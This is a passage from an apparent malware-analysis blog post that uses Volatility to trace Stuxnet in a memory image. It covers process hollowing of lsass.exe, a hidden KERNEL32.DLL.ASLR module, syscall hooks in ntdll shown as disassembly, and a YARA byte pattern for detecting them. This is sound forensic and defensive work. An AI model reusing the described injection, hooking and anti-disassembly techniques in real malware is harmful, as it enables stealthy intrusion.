0x5D090000      1      1      1 \WINDOWS\system32\comctl32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x71AA0000      1      1      1 \WINDOWS\system32\ws2help.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77B20000      1      1      1 \WINDOWS\system32\msasn1.dll&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The three lines in red are either suspicious because an entry is missing from one of the 3 PEB lists or because the path name is blank. From top to bottom, you first see the PE at 0x80000 which we have  already identified as injected code in artifact 4. It wasn't loaded with LoadLibrary so its not in any of the 3 PEB lists. Its not backed by a file, so the path is blank. Most likely, this is code injected via &lt;a href="http://msdn.microsoft.com/en-us/library/aa366890%28VS.85%29.aspx"&gt;VirtualAlloc&lt;/a&gt;(Ex) and &lt;a href="http://msdn.microsoft.com/en-us/library/ms681674%28VS.85%29.aspx"&gt;WriteProcessMemory&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The PE at 0x01000000 is  interesting, because there is an entry for it in 2 of the 3 DLL lists (missing from the Init list), yet it isn't backed by a file. In normal cases, a program's main module (the .exe) will be backed by a file. So the question becomes: is 0x01000000 the ImageBase of the main module? To see, you can run ldrmodules using the -v (verbose) flag.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py ldrmodules -p 1928 -v &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Pid      Process              Base     InLoad   InInit   InMem    Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1928 lsass.exe            0x00080000      0      0      0 -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1928 lsass.exe            0x01000000      1      0      1 -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     Load Path: C:\WINDOWS\system32\lsass.exe : lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     Mem Path:  C:\WINDOWS\system32\lsass.exe : lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1928 lsass.exe            0x00870000      1      1      1 -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     Load Path: C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360b7ab : KERNEL32.DLL.ASLR.0360b7ab&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     Init Path: C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360b7ab : KERNEL32.DLL.ASLR.0360b7ab&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     Mem Path:  C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360b7ab : KERNEL32.DLL.ASLR.0360b7ab&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;This confirms that 0x01000000 is the ImageBase for the main module, C:\WINDOWS\system32\lsass.exe. So then why is the path blank, indicating that the memory isn't backed by a file? We may be looking at a &lt;a href="http://blog.spiderlabs.com/2011/05/analyzing-malware-hollow-processes.html"&gt;hollow process&lt;/a&gt; situation. You can confirm by using &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#procexedump"&gt;procexedump&lt;/a&gt; or &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#procmemdump"&gt;procmemdump&lt;/a&gt; to extract whatever exists in this memory region and compare it with the legit lsass.exe.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py procexedump -p 680,868,1928 -D out &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumping lsass.exe, pid:    680 output: executable.680.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumping lsass.exe, pid:    868 output: executable.868.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumping lsass.exe, pid:   1928 output: executable.1928.exe&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Here are the strings (ANSI only) from the legit lsass.exe:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;strings out/executable.680.exe &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;!This program cannot be run in DOS mode.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Rich&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;`.data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.rsrc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KERNEL32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NTDLL.DLL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;LSASRV.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SAMSRV.dll&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Here are the strings from one of the malicious lsass.exe:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;strings out/executable.868.exe &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;!This program cannot be run in DOS mode.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Rich&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.verif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.reloc&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;ZwMapViewOfSection&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;br /&gt;ZwCreateSection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;ZwOpenFile&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;br /&gt;ZwClose&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;ZwQueryAttributesFile&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;ZwQuerySection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;TerminateProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetCurrentProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CloseHandle&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WaitForSingleObject&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;OpenProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ExitProcess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CreateThread&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SetUnhandledExceptionFilter&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SetErrorMode&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KERNEL32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;AdjustTokenPrivileges&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;LookupPrivilegeValueW&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;OpenProcessToken&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;VirtualProtect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetModuleHandleW&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetCurrentThreadId&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetTickCount&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lstrcpyW&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lstrlenW&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetProcAddress&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;wsprintfW&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;USER32.dll&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;As you can see, the content of the alleged lsass.exe binary is clearly different. This is in fact the effect of process hollowing - the second type of code injection used by Stuxnet. The names of the APIs in red are the ones hooked by the malware (see Artifact 6) and the others are probably from the file's Import Address Table.&lt;br /&gt;&lt;br /&gt;Lastly, the PE at 0x00870000 named KERNEL32.DLL.ASLR.0360b7ab also is not backed by a file on disk, but its in all 3 DLL lists. That's because this is the "hidden" DLL that is never written to disk (an attempt to evade antivirus). That is the third type of code injection / DLL hiding implemented by Stuxnet.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 6: Hooked APIs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"The functions hooked for this purpose in Ntdll.dll are:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwMapViewOfSection&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwCreateSection&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwOpenFile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwCloseFile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwQueryAttributesFile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* ZwQuerySection" [4]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#apihooks"&gt;apihooks&lt;/a&gt; plugin to detect what Symantec is describing.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py apihooks &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                             Type     Target                                   Value&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtClose[0x7c90cfd0]            0x7c900050 MOV EDX, 0x7c900050 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtCreateSection[0x7c90d160]    0x7c900048 MOV EDX, 0x7c900048 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtMapViewOfSection[0x7c90d500] 0x7c900044 MOV EDX, 0x7c900044 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtOpenFile[0x7c90d580]         0x7c90004c MOV EDX, 0x7c90004c (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtQueryAttributesFile[0x7c90d6f0] 0x7c900054 MOV EDX, 0x7c900054 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!NtQuerySection[0x7c90d8b0]     0x7c900058 MOV EDX, 0x7c900058 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwClose[0x7c90cfd0]            0x7c900050 MOV EDX, 0x7c900050 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwCreateSection[0x7c90d160]    0x7c900048 MOV EDX, 0x7c900048 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwMapViewOfSection[0x7c90d500] 0x7c900044 MOV EDX, 0x7c900044 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwOpenFile[0x7c90d580]         0x7c90004c MOV EDX, 0x7c90004c (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwQueryAttributesFile[0x7c90d6f0] 0x7c900054 MOV EDX, 0x7c900054 (UNKNOWN)&lt;br /&gt;services.exe[668]                syscall  ntdll.dll!ZwQuerySection[0x7c90d8b0]     0x7c900058 MOV EDX, 0x7c900058 (UNKNOWN)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;If there are 6 hooked APIs, why are there 12 lines of output? Since Ntdll.dll exports each function twice (one for Nt*  and one for Zw*), the apihooks plugin shows them both. Also, it is  apparent that Stuxnet uses the "syscall" hooking technique similar to &lt;a href="http://www.honeynet.org/node/578"&gt;Carberp&lt;/a&gt; instead of the more common Inline/IAT/EAT hooking. To interactively explore code around the hook address, use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#volshell"&gt;volshell&lt;/a&gt; command. This time we'll use it to follow the flow of execution when a hooked API is called.&lt;br /&gt;&lt;br /&gt;First  you need to break into the shell and switch into the context of a  process that has been hooked. Then navigate to the hooked API. I'll  start with ZwClose which is at 0x7C90cfd0.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py volshell&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;Welcome to volshell! Current memory image is:&lt;br /&gt;file:///memory/stuxnet.vmem&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; &lt;span style="font-weight: bold;"&gt;cc(pid=668)&lt;/span&gt;&lt;br /&gt;Current context: process services.exe, pid=668, ppid=624 DTB=0xa940080&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; &lt;span style="font-weight: bold;"&gt;dis(0x7c90cfd0)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;0x7c90cfd0 b819000000                       MOV EAX, 0x19&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;0x7c90cfd5 ba5000907c                       MOV EDX, 0x7c900050&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;0x7c90cfda ffd2                             CALL EDX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;0x7c90cfdc c20400                           RET 0x4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90cfdf 90                               NOP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 153); font-weight: bold;font-family:courier new;" &gt;0x7c90cfe0 b81a000000                       MOV EAX, 0x1a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 153); font-weight: bold;font-family:courier new;" &gt;0x7c90cfe5 ba0003fe7f                       MOV EDX, 0x7ffe0300&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 153); font-weight: bold;font-family:courier new;" &gt;0x7c90cfea ff12                             CALL DWORD [EDX]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 153); font-weight: bold;font-family:courier new;" &gt;0x7c90cfec c20c00                           RET 0xc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:courier new;" &gt;0x7c90cfef 90                               NOP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;When  comparing the instructions in red (which belong to ZwClose) with the  instructions in purple (which belong to an API not hooked by Stuxnet,  you see that a different value is placed in EDX. The clean API calls the  DWORD at 0x7ffe0300 (see &lt;a href="http://www.nynaeve.net/?p=48"&gt;the system call dispatcher on x86&lt;/a&gt;).  The hooked API calls 0x7c900050. So that is our next hop when following  the rootkit, and what we see next will be interesting.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;span style="font-weight: bold;"&gt;dis(0x7c900050)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900050 b203                             MOV DL, 0x3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900052 eb08                             JMP 0x7c90005c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900054 b204                             MOV DL, 0x4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900056 eb04                             JMP 0x7c90005c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900058 b205                             MOV DL, 0x5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90005a eb00                             JMP 0x7c90005c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90005c 52                               PUSH EDX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90005d e804000000                       CALL 0x7c900066&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900062 &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;f2009400&lt;/span&gt;5aff2269                 ADD [EAX+EAX+0x6922ff5a], DL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90006a 6e                               OUTS DX, [ESI]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90006b 20444f53                         AND [EDI+ECX*2+0x53], AL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90006f 206d6f                           AND [EBP+0x6f], CH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900072 64652e0d0d0a2400                 OR EAX, 0x240a0d&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90007a 0000                             ADD [EAX], AL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90007c 0000                             ADD [EAX], AL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c90007e 0000                             ADD [EAX], AL&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;At  0x7c90005d there is a CALL to 0x7c900066. But according to the  disassembly, 0x7c900066 is in the middle of the instruction that starts  at 0x7c900062. Its possible that this is an anti-disassembling trick  (see the Anti-Disassembling section of &lt;a href="http://dvlabs.tippingpoint.com/blog/2008/08/07/mindshare-anti-reversing-techniques"&gt;MindshaRE: Anti-Reversing Techniques&lt;/a&gt;) but either way, all we have to do is re-align the disassembly engine by telling it to start at 0x7c900066.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;span style="font-weight: bold;"&gt;dis(0x7c900066)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900066 5a                               POP EDX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900067 ff22                             JMP DWORD [EDX]&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Ah,  that's better! So when the CALL at 0x7c90005d is executed, its return  address (0x7c900062) is pushed onto the stack. The POP EDX instruction  at 0x7c900066 then removes that value from the stack and places it in  EDX. At 0x7c900067, EDX is dereferenced and called. So the pointer being  dereferenced is 0x7c900062. The 4 bytes at that address are highlighted  in red above - f2009400. Given endiannes, this is actually 0x009400F2 -  our official next hop in following the rootkit.&lt;br /&gt;&lt;pre&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;&amp;gt;&amp;gt;&amp;gt; &lt;span style="font-weight: bold;"&gt;dis(0x009400F2)&lt;/span&gt;&lt;br /&gt;0x9400f2 5a                               POP EDX&lt;br /&gt;0x9400f3 84d2                             TEST DL, DL&lt;br /&gt;0x9400f5 7425                             JZ 0x94011c&lt;br /&gt;0x9400f7 feca                             DEC DL&lt;br /&gt;0x9400f9 0f8482000000                     JZ 0x940181&lt;br /&gt;0x9400ff feca                             DEC DL&lt;br /&gt;0x940101 0f84bb000000                     JZ 0x9401c2&lt;br /&gt;0x940107 feca                             DEC DL&lt;br /&gt;0x940109 0f84fe000000                     JZ 0x94020d&lt;br /&gt;0x94010f feca                             DEC DL&lt;br /&gt;0x940111 0f8440010000                     JZ 0x940257&lt;br /&gt;0x940117 e98c010000                       JMP 0x9402a8&lt;br /&gt;0x94011c e8f9010000                       CALL 0x94031a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x9401ad  8d542408                             LEA EDX, [ESP+0x8]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x9401b1  cd2e                                 INT 0x2e&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;By  analyzing the code at this location, you can begin to understand the  exact purpose of the hook. However, from Artifact 5 we already know the  purpose is to support loading DLLs that don't exist on disk.&lt;br /&gt;&lt;br /&gt;The  instructions in red show how the malware eventually calls the requested  system service. It uses the IDT instead of the SSDT. Although Windows  itself doesn't use the IDT for system service dispatching anymore (that  stopped with Windows 2000), the IDT was still kept around for backward  capability. This begs the question...are any other DLLs on my system  still using the IDT? How unique is the byte pattern for the instructions  in red?&lt;br /&gt;&lt;br /&gt;To find out, you can search process memory for 8D 54 24  ?? CD 2E where ?? is a wildcard. In the output below, two memory regions  tested positive. 0x00940000 shouldn't be surprising since that's the  source of our signature. But 0x013F0000 also contains the pattern.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py malfind -p 668 -D out -Y "{8D 54 24 ?? CD 2E}" &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                 Pid    Start      End        Tag    Hits Protect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;services.exe            668 0x00940000 0x00940FFF Vad       1      6 (MM_EXECUTE_READWRITE)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumped to: out/services.exe.2273020.00940000-00940fff.dmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;YARA rule: z1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x00940145&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00940155   c0 00 00 00 85 c0 75 23 e8 b8 01 00 00 85 d2 74    ......u#.......t&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x009401ad&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x009401bd   c0 00 00 00 c3 e8 53 01 00 00 85 d2 74 20 50 57    ......S.....t PW&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x009401f8&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00940208   c0 00 00 00 c3 81 7c 24 08 ae 82 19 ae 75 03 33    ......|$.....u.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x00940242&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00940252   c0 00 00 00 c3 e8 be 00 00 00 85 d2 74 26 50 52    ............t&amp;amp;PR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;0x00940293&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x009402a3   c0 00 00 00 c3 e8 6d 00 00 00 85 d2 52 74 45 8b    ......m.....RtE.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x00940305&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00940315   c0 00 00 00 c3 50 56 57 51 52 83 ec 1c 8b c4 6a    .....PVWQR.....j&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;services.exe            668 0x013F0000 0x01527FFF Vad       1      6 (MM_EXECUTE_READWRITE)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dumped to: out/services.exe.2273020.013f0000-01527fff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;YARA rule: z1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x0144782e&lt;/span&gt;   8d 54 24 08 cd 2e eb 0c 5a 8d 54 24 08 64 ff 15    .T$.....Z.T$.d..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x0144783e   c0 00 00 00 85 c0 75 23 e8 b8 01 00 00 85 d2 74    ......u#.......t&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: 8d542408cd2e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier 